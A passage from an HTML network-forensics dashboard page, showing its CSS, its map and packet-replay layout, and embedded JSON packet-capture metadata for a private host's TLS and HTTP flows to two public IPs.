      --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"10.152.152.11\", \"ip\": \"10.152.152.11\", \"packet_count\": 40, \"total_bytes_sent\": 4163, \"total_bytes_received\": 11777, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"HTTP\", \"HTTPRequest\", \"Padding\", \"_TLSEncryptedContent\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [63950, 63963], \"first_seen\": 1784448485.874556, \"last_seen\": 1784448500.14535, \"packets\": [{\"num\": 0, \"time\": 1784448485.874556, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 1, \"time\": 1784448485.874576, \"size\": 66, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1784448485.874751, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1784448485.87901, \"size\": 1843, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1784448485.879012, \"size\": 54, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1784448489.760653, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1784448489.760714, \"size\": 66, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1784448489.760964, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1784448489.791979, \"size\": 134, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1784448489.792003, \"size\": 54, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1784448495.819001, \"size\": 4102, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1784448495.819262, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1784448495.819269, \"size\": 1377, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1784448495.819454, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1784448495.974177, \"size\": 128, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1784448495.974195, \"size\": 54, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1784448496.012972, \"size\": 146, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1784448496.012976, \"size\": 54, \"direction\": \"received\"}, {\"num\": 18, \"time\": 1784448496.15501, \"size\": 954, \"direction\": \"sent\"}, {\"num\": 19, \"time\": 1784448496.155029, \"size\": 54, \"direction\": \"received\"}, {\"num\": 20, \"time\": 1784448496.273246, \"size\": 228, \"direction\": \"received\"}, {\"num\": 21, \"time\": 1784448496.294019, \"size\": 542, \"direction\": \"received\"}, {\"num\": 22, \"time\": 1784448496.317738, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1784448496.349002, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 24, \"time\": 1784448496.349009, \"size\": 557, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1784448496.39587, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1784448496.466037, \"size\": 85, \"direction\": \"sent\"}, {\"num\": 27, \"time\": 1784448496.466041, \"size\": 54, \"direction\": \"received\"}, {\"num\": 28, \"time\": 1784448496.537591, \"size\": 542, \"direction\": \"received\"}, {\"num\": 29, \"time\": 1784448496.554459, \"size\": 2974, \"direction\": \"received\"}, {\"num\": 30, \"time\": 1784448496.554607, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 31, \"time\": 1784448496.554614, \"size\": 62, \"direction\": \"received\"}, {\"num\": 32, \"time\": 1784448496.554677, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 33, \"time\": 1784448496.595731, \"size\": 829, \"direction\": \"received\"}, {\"num\": 34, \"time\": 1784448496.60193, \"size\": 93, \"direction\": \"sent\"}, {\"num\": 35, \"time\": 1784448496.60195, \"size\": 54, \"direction\": \"received\"}, {\"num\": 36, \"time\": 1784448497.413787, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 37, \"time\": 1784448497.413826, \"size\": 54, \"direction\": \"received\"}, {\"num\": 38, \"time\": 1784448497.414034, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 39, \"time\": 1784448500.14535, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 14.270793914794922, \"avg_packet_size\": 398.5, \"packets_per_second\": 2.802927450205199}, {\"id\": \"216.58.201.197\", \"ip\": \"216.58.201.197\", \"packet_count\": 32, \"total_bytes_sent\": 11429, \"total_bytes_received\": 3801, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1784448485.874556, \"last_seen\": 1784448497.414034, \"packets\": [{\"num\": 0, \"time\": 1784448485.874556, \"size\": 66, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1784448485.874576, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1784448485.874751, \"size\": 54, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1784448485.87901, \"size\": 1843, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1784448485.879012, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1784448495.819001, \"size\": 4102, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1784448495.819262, \"size\": 54, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1784448495.819269, \"size\": 1377, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1784448495.819454, \"size\": 54, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1784448495.974177, \"size\": 128, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1784448495.974195, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 16, \"time\": 1784448496.012972, \"size\": 146, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1784448496.012976, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 18, \"time\": 1784448496.15501, \"size\": 954, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1784448496.155029, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 21, \"time\": 1784448496.294019, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1784448496.349002, \"size\": 54, \"direction\": \"received\"}, {\"num\": 24, \"time\": 1784448496.349009, \"size\": 557, \"direction\": \"sent\"}, {\"num\": 25, \"time\": 1784448496.39587, \"size\": 54, \"direction\": \"received\"}, {\"num\": 26, \"time\": 1784448496.466037, \"size\": 85, \"direction\": \"received\"}, {\"num\": 27, \"time\": 1784448496.466041, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 28, \"time\": 1784448496.537591, \"size\": 542, \"direction\": \"sent\"}, {\"num\": 29, \"time\": 1784448496.554459, \"size\": 2974, \"direction\": \"sent\"}, {\"num\": 30, \"time\": 1784448496.554607, \"size\": 54, \"direction\": \"received\"}, {\"num\": 31, \"time\": 1784448496.554614, \"size\": 62, \"direction\": \"sent\"}, {\"num\": 32, \"time\": 1784448496.554677, \"size\": 54, \"direction\": \"received\"}, {\"num\": 33, \"time\": 1784448496.595731, \"size\": 829, \"direction\": \"sent\"}, {\"num\": 34, \"time\": 1784448496.60193, \"size\": 93, \"direction\": \"received\"}, {\"num\": 35, \"time\": 1784448496.60195, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 36, \"time\": 1784448497.413787, \"size\": 54, \"direction\": \"received\"}, {\"num\": 37, \"time\": 1784448497.413826, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 38, \"time\": 1784448497.414034, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 15169, \"isp\": \"Google LLC\", \"network\": \"216.58.192.0/19\"}, \"duration\": 11.539477825164795, \"avg_packet_size\": 475.9375, \"packets_per_second\": 2.7730890846911445}, {\"id\": \"208.95.112.1\", \"ip\": \"208.95.112.1\", \"packet_count\": 8, \"total_bytes_sent\": 348, \"total_bytes_received\": 362, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1784448489.760653, \"last_seen\": 1784448500.14535, \"packets\": [{\"num\": 5, \"time\": 1784448489.760653, \"size\": 66, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1784448489.760714, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1784448489.760964, \"size\": 54, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1784448489.791979, \"size\": 134, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1784448489.792003, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 20, \"time\": 1784448496.273246, \"size\": 228, \"direction\": \"sent\"}, {\"num\": 22, \"time\": 1784448496.317738, \"size\": 54, \"direction\": \"received\"}, {\"num\": 39, \"time\": 1784448500.14535, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 53334, \"isp\": \"Total Uptime Technologies, LLC\", \"network\": \"208.95.112.0/21\"}, \"duration\": 10.384696960449219, \"avg_packet_size\": 88.75, \"packets_per_second\": 0.7703643188114695}];\n        const edges = [{\"source\": \"10.152.152.11\", \"target\": \"216.58.201.197\", \"packet_count\": 16, \"total_bytes\": 3801, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63950], \"dst_ports\": [443], \"first_packet\": 1784448485.874556, \"last_packet\": 1784448497.414034, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1784448485.874556, \"timestamp_iso\": \"2026-07-19T13:38:05.874556\", \"timestamp_human\": \"2026-07-19 13:38:05.874\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35344, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755291706, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 2, \"timestamp\": 1784448485.874751, \"timestamp_iso\": \"2026-07-19T13:38:05.874751\", \"timestamp_human\": \"2026-07-19 13:38:05.874\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35345, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755291707, \"tcp_ack\": 2455730514, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 3, \"timestamp\": 1784448485.87901, \"timestamp_iso\": \"2026-07-19T13:38:05.879010\", \"timestamp_human\": \"2026-07-19 13:38:05.879\", \"size\": 1843, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35346, \"ip_len\": 1829, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755291707, \"tcp_ack\": 2455730514, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 11, \"timestamp\": 1784448495.819262, \"timestamp_iso\": \"2026-07-19T13:38:15.819262\", \"timestamp_human\": \"2026-07-19 13:38:15.819\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35348, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755293496, \"tcp_ack\": 2455734562, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 13, \"timestamp\": 1784448495.819454, \"timestamp_iso\": \"2026-07-19T13:38:15.819454\", \"timestamp_human\": \"2026-07-19 13:38:15.819\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35349, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755293496, \"tcp_ack\": 2455735885, \"tcp_window\": 8207, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 14, \"timestamp\": 1784448495.974177, \"timestamp_iso\": \"2026-07-19T13:38:15.974177\", \"timestamp_human\": \"2026-07-19 13:38:15.974\", \"size\": 128, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35350, \"ip_len\": 114, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755293496, \"tcp_ack\": 2455735885, \"tcp_window\": 8207, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1784448496.012972, \"timestamp_iso\": \"2026-07-19T13:38:16.012972\", \"timestamp_human\": \"2026-07-19 13:38:16.012\", \"size\": 146, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35351, \"ip_len\": 132, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755293570, \"tcp_ack\": 2455735885, \"tcp_window\": 8207, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 18, \"timestamp\": 1784448496.15501, \"timestamp_iso\": \"2026-07-19T13:38:16.155010\", \"timestamp_human\": \"2026-07-19 13:38:16.155\", \"size\": 954, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35352, \"ip_len\": 940, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755293662, \"tcp_ack\": 2455735885, \"tcp_window\": 8207, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 23, \"timestamp\": 1784448496.349002, \"timestamp_iso\": \"2026-07-19T13:38:16.349002\", \"timestamp_human\": \"2026-07-19 13:38:16.349\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35353, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294562, \"tcp_ack\": 2455736373, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 25, \"timestamp\": 1784448496.39587, \"timestamp_iso\": \"2026-07-19T13:38:16.395870\", \"timestamp_human\": \"2026-07-19 13:38:16.395\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35354, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294562, \"tcp_ack\": 2455736876, \"tcp_window\": 8210, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 26, \"timestamp\": 1784448496.466037, \"timestamp_iso\": \"2026-07-19T13:38:16.466037\", \"timestamp_human\": \"2026-07-19 13:38:16.466\", \"size\": 85, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35355, \"ip_len\": 71, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294562, \"tcp_ack\": 2455736876, \"tcp_window\": 8210, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 30, \"timestamp\": 1784448496.554607, \"timestamp_iso\": \"2026-07-19T13:38:16.554607\", \"timestamp_human\": \"2026-07-19 13:38:16.554\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35356, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294593, \"tcp_ack\": 2455740284, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 32, \"timestamp\": 1784448496.554677, \"timestamp_iso\": \"2026-07-19T13:38:16.554677\", \"timestamp_human\": \"2026-07-19 13:38:16.554\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35357, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294593, \"tcp_ack\": 2455740292, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 34, \"timestamp\": 1784448496.60193, \"timestamp_iso\": \"2026-07-19T13:38:16.601930\", \"timestamp_human\": \"2026-07-19 13:38:16.601\", \"size\": 93, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35358, \"ip_len\": 79, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294593, \"tcp_ack\": 2455741067, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 36, \"timestamp\": 1784448497.413787, \"timestamp_iso\": \"2026-07-19T13:38:17.413787\", \"timestamp_human\": \"2026-07-19 13:38:17.413\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35359, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294632, \"tcp_ack\": 2455741067, \"tcp_window\": 8209, 